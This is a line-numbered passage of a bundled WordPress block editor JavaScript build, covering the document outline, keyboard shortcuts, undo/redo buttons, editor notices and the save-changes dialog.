125.009 89.5398 125.119 88.8864 125.119Z",
12984 fill: "black"
12985 }
12986 )
12987 ]
12988 }
12989 );
12990}
12991const computeOutlineHeadings = (blocks = []) => {
12992 return blocks.filter((block) => block.name === "core/heading").map((block) => ({
12993 ...block,
12994 level: block.attributes.level,
12995 isEmpty: isEmptyHeading(block)
12996 }));
12997};
12998const isEmptyHeading = (heading) => !heading.attributes.content || heading.attributes.content.trim().length === 0;
12999function DocumentOutline({
13000 onSelect,
13001 hasOutlineItemsDisabled
13002}) {
13003 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
13004 const { title, isTitleSupported } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
13005 const { getEditedPostAttribute } = select(store_store);
13006 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
13007 const postType = getPostType(getEditedPostAttribute("type"));
13008 return {
13009 title: getEditedPostAttribute("title"),
13010 isTitleSupported: postType?.supports?.title ?? false
13011 };
13012 });
13013 const blocks = (0,external_wp_data_namespaceObject.useSelect)((select) => {
13014 const { getClientIdsWithDescendants, getBlock } = select(external_wp_blockEditor_namespaceObject.store);
13015 const clientIds = getClientIdsWithDescendants();
13016 return clientIds.map((id) => getBlock(id));
13017 });
13018 const contentBlocks = (0,external_wp_data_namespaceObject.useSelect)((select) => {
13019 if (select(store_store).getRenderingMode() === "post-only") {
13020 return void 0;
13021 }
13022 const { getBlocksByName, getClientIdsOfDescendants } = select(external_wp_blockEditor_namespaceObject.store);
13023 const [postContentClientId] = getBlocksByName("core/post-content");
13024 if (!postContentClientId) {
13025 return void 0;
13026 }
13027 return getClientIdsOfDescendants(postContentClientId);
13028 }, []);
13029 const prevHeadingLevelRef = (0,external_wp_element_namespaceObject.useRef)(1);
13030 const headings = (0,external_wp_element_namespaceObject.useMemo)(
13031 () => computeOutlineHeadings(blocks),
13032 [blocks]
13033 );
13034 if (headings.length < 1) {
13035 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-document-outline has-no-headings", children: [
13036 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyOutlineIllustration, {}),
13037 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
13038 "Navigate the structure of your document and address issues like empty or incorrect heading levels."
13039 ) })
13040 ] });
13041 }
13042 const titleNode = document.querySelector(".editor-post-title__input");
13043 const hasTitle = isTitleSupported && title && titleNode;
13044 const countByLevel = headings.reduce(
13045 (acc, heading) => ({
13046 ...acc,
13047 [heading.level]: (acc[heading.level] || 0) + 1
13048 }),
13049 {}
13050 );
13051 const hasMultipleH1 = countByLevel[1] > 1;
13052 function isContentBlock(clientId) {
13053 return Array.isArray(contentBlocks) ? contentBlocks.includes(clientId) : true;
13054 }
13055 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "document-outline", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("ul", { children: [
13056 hasTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13057 item_default,
13058 {
13059 level: (0,external_wp_i18n_namespaceObject.__)("Title"),
13060 isValid: true,
13061 onSelect,
13062 href: `#${titleNode.id}`,
13063 isDisabled: hasOutlineItemsDisabled,
13064 children: title
13065 }
13066 ),
13067 headings.map((item) => {
13068 const isIncorrectLevel = item.level > prevHeadingLevelRef.current + 1;
13069 const isValid = !item.isEmpty && !isIncorrectLevel && !!item.level && (item.level !== 1 || !hasMultipleH1 && !hasTitle);
13070 prevHeadingLevelRef.current = item.level;
13071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13072 item_default,
13073 {
13074 level: `H${item.level}`,
13075 isValid,
13076 isDisabled: hasOutlineItemsDisabled || !isContentBlock(item.clientId),
13077 href: `#block-${item.clientId}`,
13078 onSelect: () => {
13079 selectBlock(item.clientId);
13080 onSelect?.();
13081 },
13082 children: [
13083 item.isEmpty ? emptyHeadingContent : (0,external_wp_richText_namespaceObject.getTextContent)(
13084 (0,external_wp_richText_namespaceObject.create)({
13085 html: item.attributes.content
13086 })
13087 ),
13088 isIncorrectLevel && incorrectLevelContent,
13089 item.level === 1 && hasMultipleH1 && multipleH1Headings,
13090 hasTitle && item.level === 1 && !hasMultipleH1 && singleH1Headings
13091 ]
13092 },
13093 item.clientId
13094 );
13095 })
13096 ] }) });
13097}
13098
13099
13100;// ./node_modules/@wordpress/editor/build-module/components/document-outline/check.js
13101
13102
13103function DocumentOutlineCheck({ children }) {
13104 const hasHeadings = (0,external_wp_data_namespaceObject.useSelect)((select) => {
13105 const { getGlobalBlockCount } = select(external_wp_blockEditor_namespaceObject.store);
13106 return getGlobalBlockCount("core/heading") > 0;
13107 });
13108 if (!hasHeadings) {
13109 return null;
13110 }
13111 return children;
13112}
13113
13114
13115;// ./node_modules/@wordpress/editor/build-module/components/global-keyboard-shortcuts/register-shortcuts.js
13116
13117
13118
13119
13120
13121
13122
13123function EditorKeyboardShortcutsRegister() {
13124 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
13125 (0,external_wp_element_namespaceObject.useEffect)(() => {
13126 registerShortcut({
13127 name: "core/editor/toggle-mode",
13128 category: "global",
13129 description: (0,external_wp_i18n_namespaceObject.__)("Switch between visual editor and code editor."),
13130 keyCombination: {
13131 modifier: "secondary",
13132 character: "m"
13133 }
13134 });
13135 registerShortcut({
13136 name: "core/editor/save",
13137 category: "global",
13138 description: (0,external_wp_i18n_namespaceObject.__)("Save your changes."),
13139 keyCombination: {
13140 modifier: "primary",
13141 character: "s"
13142 }
13143 });
13144 registerShortcut({
13145 name: "core/editor/undo",
13146 category: "global",
13147 description: (0,external_wp_i18n_namespaceObject.__)("Undo your last changes."),
13148 keyCombination: {
13149 modifier: "primary",
13150 character: "z"
13151 }
13152 });
13153 registerShortcut({
13154 name: "core/editor/redo",
13155 category: "global",
13156 description: (0,external_wp_i18n_namespaceObject.__)("Redo your last undo."),
13157 keyCombination: {
13158 modifier: "primaryShift",
13159 character: "z"
13160 },
13161 // Disable on Apple OS because it conflicts with the browser's
13162 // history shortcut. It's a fine alias for both Windows and Linux.
13163 // Since there's no conflict for Ctrl+Shift+Z on both Windows and
13164 // Linux, we keep it as the default for consistency.
13165 aliases: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? [] : [
13166 {
13167 modifier: "primary",
13168 character: "y"
13169 }
13170 ]
13171 });
13172 registerShortcut({
13173 name: "core/editor/toggle-list-view",
13174 category: "global",
13175 description: (0,external_wp_i18n_namespaceObject.__)("Show or hide the List View."),
13176 keyCombination: {
13177 modifier: "access",
13178 character: "o"
13179 }
13180 });
13181 registerShortcut({
13182 name: "core/editor/toggle-distraction-free",
13183 category: "global",
13184 description: (0,external_wp_i18n_namespaceObject.__)("Enter or exit distraction free mode."),
13185 keyCombination: {
13186 modifier: "primaryShift",
13187 character: "\\"
13188 }
13189 });
13190 registerShortcut({
13191 name: "core/editor/toggle-sidebar",
13192 category: "global",
13193 description: (0,external_wp_i18n_namespaceObject.__)("Show or hide the Settings panel."),
13194 keyCombination: {
13195 modifier: "primaryShift",
13196 character: ","
13197 }
13198 });
13199 registerShortcut({
13200 name: "core/editor/keyboard-shortcuts",
13201 category: "main",
13202 description: (0,external_wp_i18n_namespaceObject.__)("Display these keyboard shortcuts."),
13203 keyCombination: {
13204 modifier: "access",
13205 character: "h"
13206 }
13207 });
13208 registerShortcut({
13209 name: "core/editor/next-region",
13210 category: "global",
13211 description: (0,external_wp_i18n_namespaceObject.__)("Navigate to the next part of the editor."),
13212 keyCombination: {
13213 modifier: "ctrl",
13214 character: "`"
13215 },
13216 aliases: [
13217 {
13218 modifier: "access",
13219 character: "n"
13220 }
13221 ]
13222 });
13223 registerShortcut({
13224 name: "core/editor/previous-region",
13225 category: "global",
13226 description: (0,external_wp_i18n_namespaceObject.__)("Navigate to the previous part of the editor."),
13227 keyCombination: {
13228 modifier: "ctrlShift",
13229 character: "`"
13230 },
13231 aliases: [
13232 {
13233 modifier: "access",
13234 character: "p"
13235 },
13236 {
13237 modifier: "ctrlShift",
13238 character: "~"
13239 }
13240 ]
13241 });
13242 }, [registerShortcut]);
13243 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockEditorKeyboardShortcuts.Register, {});
13244}
13245var register_shortcuts_default = EditorKeyboardShortcutsRegister;
13246
13247
13248;// ./node_modules/@wordpress/icons/build-module/library/redo.js
13249
13250
13251var redo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" }) });
13252
13253
13254;// ./node_modules/@wordpress/icons/build-module/library/undo.js
13255
13256
13257var undo_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" }) });
13258
13259
13260;// ./node_modules/@wordpress/editor/build-module/components/editor-history/redo.js
13261
13262
13263
13264
13265
13266
13267
13268
13269function EditorHistoryRedo(props, ref) {
13270 const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift("z") : external_wp_keycodes_namespaceObject.displayShortcut.primary("y");
13271 const hasRedo = (0,external_wp_data_namespaceObject.useSelect)(
13272 (select) => select(store_store).hasEditorRedo(),
13273 []
13274 );
13275 const { redo } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
13276 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13277 external_wp_components_namespaceObject.Button,
13278 {
13279 __next40pxDefaultSize: true,
13280 ...props,
13281 ref,
13282 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? redo_default : undo_default,
13283 label: (0,external_wp_i18n_namespaceObject.__)("Redo"),
13284 shortcut,
13285 "aria-disabled": !hasRedo,
13286 onClick: hasRedo ? redo : void 0,
13287 className: "editor-history__redo"
13288 }
13289 );
13290}
13291var redo_redo_default = (0,external_wp_element_namespaceObject.forwardRef)(EditorHistoryRedo);
13292
13293
13294;// ./node_modules/@wordpress/editor/build-module/components/editor-history/undo.js
13295
13296
13297
13298
13299
13300
13301
13302
13303function EditorHistoryUndo(props, ref) {
13304 const hasUndo = (0,external_wp_data_namespaceObject.useSelect)(
13305 (select) => select(store_store).hasEditorUndo(),
13306 []
13307 );
13308 const { undo } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
13309 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13310 external_wp_components_namespaceObject.Button,
13311 {
13312 __next40pxDefaultSize: true,
13313 ...props,
13314 ref,
13315 icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? undo_default : redo_default,
13316 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
13317 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("z"),
13318 "aria-disabled": !hasUndo,
13319 onClick: hasUndo ? undo : void 0,
13320 className: "editor-history__undo"
13321 }
13322 );
13323}
13324var undo_undo_default = (0,external_wp_element_namespaceObject.forwardRef)(EditorHistoryUndo);
13325
13326
13327;// ./node_modules/@wordpress/editor/build-module/components/template-validation-notice/index.js
13328
13329
13330
13331
13332
13333
13334function TemplateValidationNotice() {
13335 const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
13336 const isValid = (0,external_wp_data_namespaceObject.useSelect)((select) => {
13337 return select(external_wp_blockEditor_namespaceObject.store).isValidTemplate();
13338 }, []);
13339 const { setTemplateValidity, synchronizeTemplate } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
13340 if (isValid) {
13341 return null;
13342 }
13343 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13344 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13345 external_wp_components_namespaceObject.Notice,
13346 {
13347 className: "editor-template-validation-notice",
13348 isDismissible: false,
13349 status: "warning",
13350 actions: [
13351 {
13352 label: (0,external_wp_i18n_namespaceObject.__)("Keep it as is"),
13353 onClick: () => setTemplateValidity(true)
13354 },
13355 {
13356 label: (0,external_wp_i18n_namespaceObject.__)("Reset the template"),
13357 onClick: () => setShowConfirmDialog(true)
13358 }
13359 ],
13360 children: (0,external_wp_i18n_namespaceObject.__)(
13361 "The content of your post doesn\u2019t match the template assigned to your post type."
13362 )
13363 }
13364 ),
13365 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13366 external_wp_components_namespaceObject.__experimentalConfirmDialog,
13367 {
13368 isOpen: showConfirmDialog,
13369 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Reset"),
13370 onConfirm: () => {
13371 setShowConfirmDialog(false);
13372 synchronizeTemplate();
13373 },
13374 onCancel: () => setShowConfirmDialog(false),
13375 size: "medium",
13376 children: (0,external_wp_i18n_namespaceObject.__)(
13377 "Resetting the template may result in loss of content, do you want to continue?"
13378 )
13379 }
13380 )
13381 ] });
13382}
13383
13384
13385;// ./node_modules/@wordpress/editor/build-module/components/editor-notices/index.js
13386
13387
13388
13389
13390
13391function EditorNotices() {
13392 const { notices } = (0,external_wp_data_namespaceObject.useSelect)(
13393 (select) => ({
13394 notices: select(external_wp_notices_namespaceObject.store).getNotices()
13395 }),
13396 []
13397 );
13398 const { removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
13399 const dismissibleNotices = notices.filter(
13400 ({ isDismissible, type }) => isDismissible && type === "default"
13401 );
13402 const nonDismissibleNotices = notices.filter(
13403 ({ isDismissible, type }) => !isDismissible && type === "default"
13404 );
13405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13406 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13407 external_wp_components_namespaceObject.NoticeList,
13408 {
13409 notices: nonDismissibleNotices,
13410 className: "components-editor-notices__pinned"
13411 }
13412 ),
13413 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13414 external_wp_components_namespaceObject.NoticeList,
13415 {
13416 notices: dismissibleNotices,
13417 className: "components-editor-notices__dismissible",
13418 onRemove: removeNotice,
13419 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateValidationNotice, {})
13420 }
13421 )
13422 ] });
13423}
13424var editor_notices_default = EditorNotices;
13425
13426
13427;// ./node_modules/@wordpress/editor/build-module/components/editor-snackbars/index.js
13428
13429
13430
13431
13432const MAX_VISIBLE_NOTICES = -3;
13433function EditorSnackbars() {
13434 const notices = (0,external_wp_data_namespaceObject.useSelect)(
13435 (select) => select(external_wp_notices_namespaceObject.store).getNotices(),
13436 []
13437 );
13438 const { removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
13439 const snackbarNotices = notices.filter(({ type }) => type === "snackbar").slice(MAX_VISIBLE_NOTICES);
13440 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13441 external_wp_components_namespaceObject.SnackbarList,
13442 {
13443 notices: snackbarNotices,
13444 className: "components-editor-notices__snackbar",
13445 onRemove: removeNotice
13446 }
13447 );
13448}
13449
13450
13451;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/entity-record-item.js
13452
13453
13454
13455
13456
13457
13458
13459
13460
13461function EntityRecordItem({ record, checked, onChange }) {
13462 const { name, kind, title, key } = record;
13463 const { entityRecordTitle, hasPostMetaChanges } = (0,external_wp_data_namespaceObject.useSelect)(
13464 (select) => {
13465 if ("postType" !== kind || "wp_template" !== name) {
13466 return {
13467 entityRecordTitle: title,
13468 hasPostMetaChanges: unlock(
13469 select(store_store)
13470 ).hasPostMetaChanges(name, key)
13471 };
13472 }
13473 const template = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
13474 kind,
13475 name,
13476 key
13477 );
13478 const { default_template_types: templateTypes = [] } = select(external_wp_coreData_namespaceObject.store).getCurrentTheme() ?? {};
13479 return {
13480 entityRecordTitle: getTemplateInfo({
13481 template,
13482 templateTypes
13483 }).title,
13484 hasPostMetaChanges: unlock(
13485 select(store_store)
13486 ).hasPostMetaChanges(name, key)
13487 };
13488 },
13489 [name, kind, title, key]
13490 );
13491 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13492 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13493 external_wp_components_namespaceObject.CheckboxControl,
13494 {
13495 __nextHasNoMarginBottom: true,
13496 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(entityRecordTitle) || (0,external_wp_i18n_namespaceObject.__)("Untitled"),
13497 checked,
13498 onChange,
13499 className: "entities-saved-states__change-control"
13500 }
13501 ) }),
13502 hasPostMetaChanges && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "entities-saved-states__changes", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: (0,external_wp_i18n_namespaceObject.__)("Post Meta.") }) })
13503 ] });
13504}
13505
13506
13507;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/entity-type-list.js
13508
13509
13510
13511
13512
13513
13514
13515
13516
13517const { getGlobalStylesChanges, GlobalStylesContext: entity_type_list_GlobalStylesContext } = unlock(
13518 external_wp_blockEditor_namespaceObject.privateApis
13519);
13520function getEntityDescription(entity, count) {
13521 switch (entity) {
13522 case "site":
13523 return 1 === count ? (0,external_wp_i18n_namespaceObject.__)("This change will affect your whole site.") : (0,external_wp_i18n_namespaceObject.__)("These changes will affect your whole site.");
13524 case "wp_template":
13525 return (0,external_wp_i18n_namespaceObject.__)(
13526 "This change will affect other parts of your site that use this template."
13527 );
13528 case "page":
13529 case "post":
13530 return (0,external_wp_i18n_namespaceObject.__)("The following has been modified.");
13531 }
13532}
13533function GlobalStylesDescription({ record }) {
13534 const { user: currentEditorGlobalStyles } = (0,external_wp_element_namespaceObject.useContext)(entity_type_list_GlobalStylesContext);
13535 const savedRecord = (0,external_wp_data_namespaceObject.useSelect)(
13536 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecord(
13537 record.kind,
13538 record.name,
13539 record.key
13540 ),
13541 [record.kind, record.name, record.key]
13542 );
13543 const globalStylesChanges = getGlobalStylesChanges(
13544 currentEditorGlobalStyles,
13545 savedRecord,
13546 {
13547 maxResults: 10
13548 }
13549 );
13550 return globalStylesChanges.length ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "entities-saved-states__changes", children: globalStylesChanges.map((change) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: change }, change)) }) : null;
13551}
13552function EntityDescription({ record, count }) {
13553 if ("globalStyles" === record?.name) {
13554 return null;
13555 }
13556 const description = getEntityDescription(record?.name, count);
13557 return description ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, { children: description }) : null;
13558}
13559function EntityTypeList({
13560 list,
13561 unselectedEntities,
13562 setUnselectedEntities
13563}) {
13564 const count = list.length;
13565 const firstRecord = list[0];
13566 const entityConfig = (0,external_wp_data_namespaceObject.useSelect)(
13567 (select) => select(external_wp_coreData_namespaceObject.store).getEntityConfig(
13568 firstRecord.kind,
13569 firstRecord.name
13570 ),
13571 [firstRecord.kind, firstRecord.name]
13572 );
13573 let entityLabel = entityConfig.label;
13574 if (firstRecord?.name === "wp_template_part") {
13575 entityLabel = 1 === count ? (0,external_wp_i18n_namespaceObject.__)("Template Part") : (0,external_wp_i18n_namespaceObject.__)("Template Parts");
13576 }
13577 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13578 external_wp_components_namespaceObject.PanelBody,
13579 {
13580 title: entityLabel,
13581 initialOpen: true,
13582 className: "entities-saved-states__panel-body",
13583 children: [
13584 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EntityDescription, { record: firstRecord, count }),
13585 list.map((record) => {
13586 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13587 EntityRecordItem,
13588 {
13589 record,
13590 checked: !unselectedEntities.some(
13591 (elt) => elt.kind === record.kind && elt.name === record.name && elt.key === record.key && elt.property === record.property
13592 ),
13593 onChange: (value) => setUnselectedEntities(record, value)
13594 },
13595 record.key || record.property
13596 );
13597 }),
13598 "globalStyles" === firstRecord?.name && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesDescription, { record: firstRecord })
13599 ]
13600 }
13601 );
13602}
13603
13604
13605;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/hooks/use-is-dirty.js
13606
13607
13608
13609const useIsDirty = () => {
13610 const { editedEntities, siteEdits, siteEntityConfig } = (0,external_wp_data_namespaceObject.useSelect)(
13611 (select) => {
13612 const {
13613 __experimentalGetDirtyEntityRecords,
13614 getEntityRecordEdits,
13615 getEntityConfig
13616 } = select(external_wp_coreData_namespaceObject.store);
13617 return {
13618 editedEntities: __experimentalGetDirtyEntityRecords(),
13619 siteEdits: getEntityRecordEdits("root", "site"),
13620 siteEntityConfig: getEntityConfig("root", "site")
13621 };
13622 },
13623 []
13624 );
13625 const dirtyEntityRecords = (0,external_wp_element_namespaceObject.useMemo)(() => {
13626 const editedEntitiesWithoutSite = editedEntities.filter(
13627 (record) => !(record.kind === "root" && record.name === "site")
13628 );
13629 const siteEntityLabels = siteEntityConfig?.meta?.labels ?? {};
13630 const editedSiteEntities = [];
13631 for (const property in siteEdits) {
13632 editedSiteEntities.push({
13633 kind: "root",
13634 name: "site",
13635 title: siteEntityLabels[property] || property,
13636 property
13637 });
13638 }
13639 return [...editedEntitiesWithoutSite, ...editedSiteEntities];
13640 }, [editedEntities, siteEdits, siteEntityConfig]);
13641 const [unselectedEntities, _setUnselectedEntities] = (0,external_wp_element_namespaceObject.useState)([]);
13642 const setUnselectedEntities = ({ kind, name, key, property }, checked) => {
13643 if (checked) {
13644 _setUnselectedEntities(
13645 unselectedEntities.filter(
13646 (elt) => elt.kind !== kind || elt.name !== name || elt.key !== key || elt.property !== property
13647 )
13648 );
13649 } else {
13650 _setUnselectedEntities([
13651 ...unselectedEntities,
13652 { kind, name, key, property }
13653 ]);
13654 }
13655 };
13656 const isDirty = dirtyEntityRecords.length - unselectedEntities.length > 0;
13657 return {
13658 dirtyEntityRecords,
13659 isDirty,
13660 setUnselectedEntities,
13661 unselectedEntities
13662 };
13663};
13664
13665
13666;// ./node_modules/@wordpress/editor/build-module/components/entities-saved-states/index.js
13667
13668
13669
13670
13671
13672
13673
13674
13675
13676
13677
13678function identity(values) {
13679 return values;
13680}
13681function EntitiesSavedStates({
13682 close,
13683 renderDialog,
13684 variant
13685}) {
13686 const isDirtyProps = useIsDirty();
13687 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13688 EntitiesSavedStatesExtensible,
13689 {
13690 close,
13691 renderDialog,
13692 variant,
13693 ...isDirtyProps
13694 }
13695 );
13696}
13697function EntitiesSavedStatesExtensible({
13698 additionalPrompt = void 0,
13699 close,
13700 onSave = identity,
13701 saveEnabled: saveEnabledProp = void 0,
13702 saveLabel = (0,external_wp_i18n_namespaceObject.__)("Save"),
13703 renderDialog,
13704 dirtyEntityRecords,
13705 isDirty,
13706 setUnselectedEntities,
13707 unselectedEntities,
13708 variant = "default"
13709}) {
13710 const saveButtonRef = (0,external_wp_element_namespaceObject.useRef)();
13711 const { saveDirtyEntities } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
13712 const partitionedSavables = dirtyEntityRecords.reduce((acc, record) => {
13713 const { name } = record;
13714 if (!acc[name]) {
13715 acc[name] = [];
13716 }
13717 acc[name].push(record);
13718 return acc;
13719 }, {});
13720 const {
13721 site: siteSavables,
13722 wp_template: templateSavables,
13723 wp_template_part: templatePartSavables,
13724 ...contentSavables
13725 } = partitionedSavables;
13726 const sortedPartitionedSavables = [
13727 siteSavables,
13728 templateSavables,
13729 templatePartSavables,
13730 ...Object.values(contentSavables)
13731 ].filter(Array.isArray);
13732 const saveEnabled = saveEnabledProp ?? isDirty;
13733 const dismissPanel = (0,external_wp_element_namespaceObject.useCallback)(() => close(), [close]);
13734 const [saveDialogRef, saveDialogProps] = (0,external_wp_compose_namespaceObject.__experimentalUseDialog)({
13735 onClose: () => dismissPanel()
13736 });
13737 const dialogLabelId = (0,external_wp_compose_namespaceObject.useInstanceId)(
13738 EntitiesSavedStatesExtensible,
13739 "entities-saved-states__panel-label"
13740 );
13741 const dialogDescriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
13742 EntitiesSavedStatesExtensible,
13743 "entities-saved-states__panel-description"
13744 );
13745 const selectItemsToSaveDescription = !!dirtyEntityRecords.length ? (0,external_wp_i18n_namespaceObject.__)("Select the items you want to save.") : void 0;
13746 const isInline = variant === "inline";
13747 const actionButtons = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13748 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13749 external_wp_components_namespaceObject.FlexItem,
13750 {
13751 isBlock: isInline ? false : true,
13752 as: external_wp_components_namespaceObject.Button,
13753 variant: isInline ? "tertiary" : "secondary",
13754 size: isInline ? void 0 : "compact",
13755 onClick: dismissPanel,
13756 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
13757 }
13758 ),
13759 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13760 external_wp_components_namespaceObject.FlexItem,
13761 {
13762 isBlock: isInline ? false : true,
13763 as: external_wp_components_namespaceObject.Button,
13764 ref: saveButtonRef,
13765 variant: "primary",
13766 size: isInline ? void 0 : "compact",
13767 disabled: !saveEnabled,
13768 accessibleWhenDisabled: true,
13769 onClick: () => saveDirtyEntities({
13770 onSave,
13771 dirtyEntityRecords,
13772 entitiesToSkip: unselectedEntities,
13773 close
13774 }),
13775 className: "editor-entities-saved-states__save-button",
13776 children: saveLabel
13777 }
13778 )
13779 ] });
13780 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13781 "div",
13782 {
13783 ref: renderDialog ? saveDialogRef : void 0,
13784 ...renderDialog && saveDialogProps,
13785 className: dist_clsx("entities-saved-states__panel", {
13786 "is-inline": isInline
13787 }),
13788 role: renderDialog ? "dialog" : void 0,
13789 "aria-labelledby": renderDialog ? dialogLabelId : void 0,
13790 "aria-describedby": renderDialog ? dialogDescriptionId : void 0,
13791 children: [
13792 !isInline && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { className: "entities-saved-states__panel-header", gap: 2, children: actionButtons }),
13793 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "entities-saved-states__text-prompt", children: [
13794 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "entities-saved-states__text-prompt--header-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13795 "strong",
13796 {
13797 id: renderDialog ? dialogLabelId : void 0,
13798 className: "entities-saved-states__text-prompt--header",
13799 children: (0,external_wp_i18n_namespaceObject.__)("Are you ready to save?")
13800 }
13801 ) }),
13802 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { id: renderDialog ? dialogDescriptionId : void 0, children: [
13803 additionalPrompt,
13804 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "entities-saved-states__text-prompt--changes-count", children: isDirty ? (0,external_wp_element_namespaceObject.createInterpolateElement)(
13805 (0,external_wp_i18n_namespaceObject.sprintf)(
13806 /* translators: %d: number of site changes waiting to be saved. */
13807 (0,external_wp_i18n_namespaceObject._n)(
13808 "There is <strong>%d site change</strong> waiting to be saved.",
13809 "There are <strong>%d site changes</strong> waiting to be saved.",
13810 dirtyEntityRecords.length
13811 ),
13812 dirtyEntityRecords.length
13813 ),
